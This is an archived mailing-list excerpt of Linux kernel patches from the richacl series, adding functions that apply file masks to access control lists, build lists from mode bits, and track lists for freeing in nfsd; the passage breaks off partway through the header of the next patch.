andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 5F7B88EA37; Sun, 11 Oct 2015 23:02:39 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36s016614; Sun, 11 Oct 2015 19:02:33 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 30/46] richacl: Isolate the owner and group classes Date: Mon, 12 Oct 2015 00:58:41 +0200 X-ASG-Orig-Subj: [PATCH v10 30/46] richacl: Isolate the owner and group classes Message-Id: <1444604337-17651-31-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604559 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher When applying the file masks to an acl, we need to ensure that no process gets more permissions than allowed by its file mask. This may require inserting an owner@ deny ace to ensure this if the owner mask contains fewer permissions than the group or other mask. For example, when applying mode 0446 to the following acl: everyone@:rw::allow A deny ace needs to be inserted so that the owner won't get elevated write access: owner@:w::deny everyone@:rw::allow Likewise, we may need to insert group class deny aces if the group mask contains fewer permissions than the other mask. For example, when applying mode 0646 to the following acl: owner@:rw::allow everyone@:rw::allow A deny ace needs to be inserted so that the owning group won't get elevated write access: owner@:rw::allow group@:w::deny everyone@:rw::allow Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 223 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 223 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 21ee31e..7e25343 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -503,3 +503,226 @@ richacl_set_other_permissions(struct richacl_alloc *alloc, unsigned int *added) } return 0; } + +/** + * richacl_max_allowed - maximum permissions that anybody is allowed + */ +static unsigned int +richacl_max_allowed(struct richacl *acl) +{ + struct richace *ace; + unsigned int allowed = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_allow(ace)) + allowed |= ace->e_mask; + else if (richace_is_deny(ace)) { + if (richace_is_everyone(ace)) + allowed &= ~ace->e_mask; + } + } + return allowed; +} + +/** + * richacl_isolate_owner_class - limit the owner class to the owner file mask + * @alloc: acl and number of allocated entries + * + * POSIX requires that after a chmod, the owner class is granted no more + * permissions than the owner file permission bits. For richacls, this + * means that the owner class must not be granted any permissions that the + * owner mask does not include. + * + * When we apply file masks to an acl which grant more permissions to the group + * or other class than to the owner class, we may end up in a situation where + * the owner is granted additional permissions from other aces. For example, + * given this acl: + * + * everyone@:rwx::allow + * + * when file masks corresponding to mode 0406 are applied, after + * richacl_propagate_everyone() and __richacl_apply_masks(), we end up with: + * + * owner@:r::allow + * everyone@:rw::allow + * + * This acl still grants the owner rw access through the everyone@ allow ace. + * To fix this, we must deny the owner w access: + * + * owner@:w::deny + * owner@:r::allow + * everyone@:rw::allow + */ +static int +richacl_isolate_owner_class(struct richacl_alloc *alloc) +{ + struct richacl *acl = alloc->acl; + struct richace *ace; + unsigned int deny; + + deny = richacl_max_allowed(acl) & ~acl->a_owner_mask; + if (!deny) + return 0; + + /* + * Figure out if we can update an existig OWNER@ DENY entry. + */ + richacl_for_each_entry(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_allow(ace)) + break; + if (richace_is_owner(ace)) + return richace_change_mask(alloc, &ace, + ace->e_mask | deny); + } + + /* Insert an owner@ deny entry at the front. */ + ace = acl->a_entries; + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = deny; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + return 0; +} + +/** + * __richacl_isolate_who - isolate entry from everyone@ allow entry + * @alloc: acl and number of allocated entries + * @who: identifier to isolate + * @deny: permissions this identifier should not be allowed + * + * See richacl_isolate_group_class(). + */ +static int +__richacl_isolate_who(struct richacl_alloc *alloc, struct richace *who, + unsigned int deny) +{ + struct richacl *acl = alloc->acl; + struct richace *ace, who_copy; + int n; + + /* + * Compute the permissions already defined for @who. There are no + * everyone@ deny aces left in the acl at this stage. + */ + richacl_for_each_entry(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_same_identifier(ace, who)) + deny &= ~ace->e_mask; + } + if (!deny) + return 0; + + /* + * Figure out if we can update an existig deny entry. Start from the + * entry before the trailing everyone@ allow entry. We will not hit + * everyone@ entries in the loop. + */ + for (n = acl->a_count - 2; n != -1; n--) { + ace = acl->a_entries + n; + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_deny(ace)) { + if (richace_is_same_identifier(ace, who)) + return richace_change_mask(alloc, &ace, + ace->e_mask | deny); + } else if (richace_is_allow(ace) && + (ace->e_mask & deny)) + break; + } + + /* + * Insert a new entry before the trailing everyone@ deny entry. + */ + richace_copy(&who_copy, who); + ace = acl->a_entries + acl->a_count - 1; + if (richacl_insert_entry(alloc, &ace)) + return -1; + richace_copy(ace, &who_copy); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + ace->e_mask = deny; + return 0; +} + +/** + * richacl_isolate_group_class - limit the group class to the group file mask + * @alloc: acl and number of allocated entries + * @deny: additional permissions to deny + * + * POSIX requires that after a chmod, the group class is granted no more + * permissions than the group file permission bits. For richacls, this + * means that the group class must not be granted any permissions that the + * group mask does not include. + * + * When we apply file masks to an acl which grant more permissions to the other + * class than to the group class, we may end up in a situation where processes + * in the group class are granted additional permission from other aces. For + * example, given this acl: + * + * joe:rwx::allow + * everyone@:rwx::allow + * + * when file masks corresponding to mode 0646 are applied, after + * richacl_propagate_everyone() and __richacl_apply_masks(), we end up with: + * + * joe:r::allow + * owner@:rw::allow + * group@:r::allow + * everyone@:rw::allow + * + * This acl still grants joe and group@ rw access through the everyone@ allow + * ace. To fix this, we must deny w access to group class aces before the + * everyone@ allow ace at the end of the acl: + * + * joe:r::allow + * owner@:rw::allow + * group@:r::allow + * joe:w::deny + * group@:w::deny + * everyone@:rw::allow + */ +static int +richacl_isolate_group_class(struct richacl_alloc *alloc, unsigned int deny) +{ + struct richace who = { + .e_flags = RICHACE_SPECIAL_WHO, + .e_id.special = RICHACE_GROUP_SPECIAL_ID, + }; + struct richace *ace; + + if (!alloc->acl->a_count) + return 0; + ace = alloc->acl->a_entries + alloc->acl->a_count - 1; + if (richace_is_inherit_only(ace) || !richace_is_everyone(ace)) + return 0; + deny |= ace->e_mask & ~alloc->acl->a_group_mask; + + if (deny) { + unsigned int n; + + if (__richacl_isolate_who(alloc, &who, deny)) + return -1; + /* + * Start from the entry before the trailing everyone@ allow + * entry. We will not hit everyone@ entries in the loop. + */ + for (n = alloc->acl->a_count - 2; n != -1; n--) { + ace = alloc->acl->a_entries + n; + + if (richace_is_inherit_only(ace) || + richace_is_owner(ace) || + richace_is_group(ace)) + continue; + if (__richacl_isolate_who(alloc, ace, deny)) + return -1; + } + } + return 0; +} -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:02:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 151AC7F56 for ; Sun, 11 Oct 2015 18:02:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id DCEFE304039 for ; Sun, 11 Oct 2015 16:02:47 -0700 (PDT) X-ASG-Debug-ID: 1444604566-04bdf020dda1bc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kKUNCdEZsQ4NpitD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:02:46 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 435C3C0C9A6C; Sun, 11 Oct 2015 23:02:46 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36t016614; Sun, 11 Oct 2015 19:02:39 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 31/46] richacl: Apply the file masks to a richacl Date: Mon, 12 Oct 2015 00:58:42 +0200 X-ASG-Orig-Subj: [PATCH v10 31/46] richacl: Apply the file masks to a richacl Message-Id: <1444604337-17651-32-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604566 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Put all the pieces of the acl transformation puzzle together for computing a richacl which has the file masks "applied" so that the standard nfsv4 access check algorithm can be used on the richacl. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 101 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 3 ++ 2 files changed, 104 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 7e25343..c99274f 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -726,3 +726,104 @@ richacl_isolate_group_class(struct richacl_alloc *alloc, unsigned int deny) } return 0; } + +/** + * __richacl_apply_masks - apply the file masks to all aces + * @alloc: acl and number of allocated entries + * + * Apply the owner mask to owner@ aces, the other mask to + * everyone@ aces, and the group mask to all other aces. + * + * The previous transformations have brought the acl into a + * form in which applying the masks will not lead to the + * accidental loss of permissions anymore. + */ +static int +__richacl_apply_masks(struct richacl_alloc *alloc, kuid_t owner) +{ + struct richace *ace; + + richacl_for_each_entry(ace, alloc->acl) { + unsigned int mask; + + if (richace_is_inherit_only(ace) || !richace_is_allow(ace)) + continue; + if (richace_is_owner(ace) || + (richace_is_unix_user(ace) && uid_eq(owner, ace->e_id.uid))) + mask = alloc->acl->a_owner_mask; + else if (richace_is_everyone(ace)) + mask = alloc->acl->a_other_mask; + else + mask = alloc->acl->a_group_mask; + if (richace_change_mask(alloc, &ace, ace->e_mask & mask)) + return -1; + } + return 0; +} + +/** + * richacl_apply_masks - apply the masks to the acl + * + * Transform @acl so that the standard NFSv4 permission check algorithm (which + * is not aware of file masks) will compute the same access decisions as the + * richacl permission check algorithm (which looks at the acl and the file + * masks). + * + * This algorithm is split into several steps: + * + * - Move everyone@ aces to the end of the acl. This simplifies the other + * transformations, and allows the everyone@ allow ace at the end of the + * acl to eventually allow permissions to the other class only. + * + * - Propagate everyone@ permissions up the acl. This transformation makes + * sure that the owner and group class aces won't lose any permissions when + * we apply the other mask to the everyone@ allow ace at the end of the acl. + * + * - Apply the file masks to all aces. + * + * - Make sure everyone is granted the other mask permissions. This step can + * elevate elevate permissions for the owner and group classes, which is + * corrected later. + * + * - Make sure that the group class is not granted any permissions from + * everyone@. + * + * - Make sure the owner is granted the owner mask permissions. + * + * - Make sure the owner is not granted any permissions beyond the owner + * mask from group class aces or from everyone@. + * + * NOTE: Depending on the acl and file masks, this algorithm can increase the + * number of aces by almost a factor of three in the worst case. This may make + * the acl too large for some purposes. + */ +int +richacl_apply_masks(struct richacl **acl, kuid_t owner) +{ + if ((*acl)->a_flags & RICHACL_MASKED) { + struct richacl_alloc alloc = { + .acl = richacl_clone(*acl, GFP_KERNEL), + .count = (*acl)->a_count, + }; + unsigned int added = 0; + + if (!alloc.acl) + return -ENOMEM; + if (richacl_move_everyone_aces_down(&alloc) || + richacl_propagate_everyone(&alloc) || + __richacl_apply_masks(&alloc, owner) || + richacl_set_other_permissions(&alloc, &added) || + richacl_isolate_group_class(&alloc, added) || + richacl_set_owner_permissions(&alloc) || + richacl_isolate_owner_class(&alloc)) { + richacl_put(alloc.acl); + return -ENOMEM; + } + + alloc.acl->a_flags &= ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED); + richacl_put(*acl); + *acl = alloc.acl; + } + return 0; +} +EXPORT_SYMBOL_GPL(richacl_apply_masks); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 2cd3e65..77b6779 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -333,4 +333,7 @@ extern int richacl_permission(struct inode *, const struct richacl *, int); extern int richacl_chmod(struct inode *, umode_t); extern struct richacl *richacl_create(umode_t *, struct inode *); +/* richacl_compat.c */ +extern int richacl_apply_masks(struct richacl **, kuid_t); + #endif /* __RICHACL_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:02:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2F38D29DFA for ; Sun, 11 Oct 2015 18:02:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 109B18F8049 for ; Sun, 11 Oct 2015 16:02:55 -0700 (PDT) X-ASG-Debug-ID: 1444604573-04cb6c578aa7c80001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id aLBmxjeVSPhcxiAD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:02:53 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 3FB358E3EB; Sun, 11 Oct 2015 23:02:53 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36u016614; Sun, 11 Oct 2015 19:02:46 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 32/46] richacl: Create richacl from mode values Date: Mon, 12 Oct 2015 00:58:43 +0200 X-ASG-Orig-Subj: [PATCH v10 32/46] richacl: Create richacl from mode values Message-Id: <1444604337-17651-33-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604573 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher A file can have "no acl" in the sense that only the file mode permission bits determine access. In that case, the getxattr system call fails with errno == ENODATA (No such attribute). Over the NFSv4 protocol, a file always has an acl, and we convert the file mode permission bits into an equivalent acl with richacl_from_mode. Such "trivial" acls can be converted back to a file mode with richacl_equiv_mode. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 88 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 1 + 2 files changed, 89 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index c99274f..e513958 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -827,3 +827,91 @@ richacl_apply_masks(struct richacl **acl, kuid_t owner) return 0; } EXPORT_SYMBOL_GPL(richacl_apply_masks); + +/** + * richacl_from_mode - create an acl which corresponds to @mode + * + * The resulting acl doesn't have the RICHACL_MASKED flag set. + * + * @mode: file mode including the file type + */ +struct richacl * +richacl_from_mode(umode_t mode) +{ + unsigned int owner_mask = richacl_mode_to_mask(mode >> 6); + unsigned int group_mask = richacl_mode_to_mask(mode >> 3); + unsigned int other_mask = richacl_mode_to_mask(mode); + unsigned int denied; + unsigned int entries = 0; + struct richacl *acl; + struct richace *ace; + + /* RICHACE_DELETE_CHILD is meaningless for non-directories. */ + if (!S_ISDIR(mode)) { + owner_mask &= ~RICHACE_DELETE_CHILD; + group_mask &= ~RICHACE_DELETE_CHILD; + other_mask &= ~RICHACE_DELETE_CHILD; + } + + denied = ~owner_mask & (group_mask | other_mask); + if (denied) + entries++; /* owner@ deny entry needed */ + if (owner_mask & ~(group_mask & other_mask)) + entries++; /* owner@ allow entry needed */ + denied = ~group_mask & other_mask; + if (denied) + entries++; /* group@ deny entry needed */ + if (group_mask & ~other_mask) + entries++; /* group@ allow entry needed */ + if (other_mask) + entries++; /* everyone@ allow entry needed */ + + acl = richacl_alloc(entries, GFP_KERNEL); + if (!acl) + return NULL; + acl->a_owner_mask = owner_mask; + acl->a_group_mask = group_mask; + acl->a_other_mask = other_mask; + ace = acl->a_entries; + + denied = ~owner_mask & (group_mask | other_mask); + if (denied) { + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = denied; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + ace++; + } + if (owner_mask & ~(group_mask & other_mask)) { + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = owner_mask; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + ace++; + } + denied = ~group_mask & other_mask; + if (denied) { + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = denied; + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; + ace++; + } + if (group_mask & ~other_mask) { + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = group_mask; + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; + ace++; + } + if (other_mask) { + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = other_mask; + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; + ace++; + } + + return acl; +} +EXPORT_SYMBOL_GPL(richacl_from_mode); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 77b6779..708926f 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -335,5 +335,6 @@ extern struct richacl *richacl_create(umode_t *, struct inode *); /* richacl_compat.c */ extern int richacl_apply_masks(struct richacl **, kuid_t); +extern struct richacl *richacl_from_mode(umode_t); #endif /* __RICHACL_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:03:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CADD629DFA for ; Sun, 11 Oct 2015 18:03:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6919DAC003 for ; Sun, 11 Oct 2015 16:03:01 -0700 (PDT) X-ASG-Debug-ID: 1444604580-04bdf020dba1bd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id b66C9uUfuGmJs0U2 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:03:00 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 2886EC0C1B01; Sun, 11 Oct 2015 23:03:00 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36v016614; Sun, 11 Oct 2015 19:02:53 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 33/46] nfsd: Keep list of acls to dispose of in compoundargs Date: Mon, 12 Oct 2015 00:58:44 +0200 X-ASG-Orig-Subj: [PATCH v10 33/46] nfsd: Keep list of acls to dispose of in compoundargs Message-Id: <1444604337-17651-34-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604580 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher We will decode acls in requests into richacls. Even if unlikely, there can be more than one acl in a single request; those richacls need to be richacl_put() at the end of the request instead of kfree()d, so keep a list of acls in compoundargs for that. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/nfs4xdr.c | 27 +++++++++++++++++++++++++++ fs/nfsd/xdr4.h | 6 ++++++ 2 files changed, 33 insertions(+) diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 51c9e9c..b8db5a7 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -40,6 +40,7 @@ #include #include #include +#include #include "idmap.h" #include "acl.h" @@ -196,6 +197,24 @@ svcxdr_tmpalloc(struct nfsd4_compoundargs *argp, u32 len) return tb->buf; } +static struct richacl * +svcxdr_alloc_richacl(struct nfsd4_compoundargs *argp, u32 nace) +{ + struct svcxdr_richacl *acls; + + acls = kmalloc(sizeof(*acls), GFP_KERNEL); + if (!acls) + return NULL; + acls->acl = richacl_alloc(nace, GFP_KERNEL); + if (!acls->acl) { + kfree(acls); + return NULL; + } + acls->next = argp->acls; + argp->acls = acls; + return acls->acl; +} + /* * For xdr strings that need to be passed to other kernel api's * as null-terminated strings. @@ -4437,6 +4456,13 @@ int nfsd4_release_compoundargs(void *rq, __be32 *p, void *resp) args->to_free = tb->next; kfree(tb); } + while (args->acls) { + struct svcxdr_richacl *acls = args->acls; + + args->acls = acls->next; + richacl_put(acls->acl); + kfree(acls); + } return 1; } @@ -4455,6 +4481,7 @@ nfs4svc_decode_compoundargs(struct svc_rqst *rqstp, __be32 *p, struct nfsd4_comp args->pagelen = rqstp->rq_arg.page_len; args->tmpp = NULL; args->to_free = NULL; + args->acls = NULL; args->ops = args->iops; args->rqstp = rqstp; diff --git a/fs/nfsd/xdr4.h b/fs/nfsd/xdr4.h index 9f99100..b698585 100644 --- a/fs/nfsd/xdr4.h +++ b/fs/nfsd/xdr4.h @@ -570,6 +570,11 @@ struct svcxdr_tmpbuf { char buf[]; }; +struct svcxdr_richacl { + struct svcxdr_richacl *next; + struct richacl *acl; +}; + struct nfsd4_compoundargs { /* scratch variables for XDR decode */ __be32 * p; @@ -579,6 +584,7 @@ struct nfsd4_compoundargs { __be32 tmp[8]; __be32 * tmpp; struct svcxdr_tmpbuf *to_free; + struct svcxdr_richacl *acls; struct svc_rqst *rqstp; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:03:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 11EDA29DFA for ; Sun, 11 Oct 2015 18:03:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7531FAC002 for ; Sun, 11 Oct 2015 16:03:11 -0700 (PDT) X-ASG-Debug-ID: 1444604587-04cbb05fbf3d6d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FKqNStDbJtQ9rePS (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:03:07 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 0C0AA2DD2EE; Sun, 11 Oct 2015 23:03:07 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36w016614; Sun, 11 Oct 2015 19:03:00 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 34/46] nfsd: Use richacls as internal acl representation Date: Mon, 12 Oct 2015 00:58:45 +0200 X-ASG-Orig-Subj: [PATCH v10 34/46] nfsd: Use richacls as 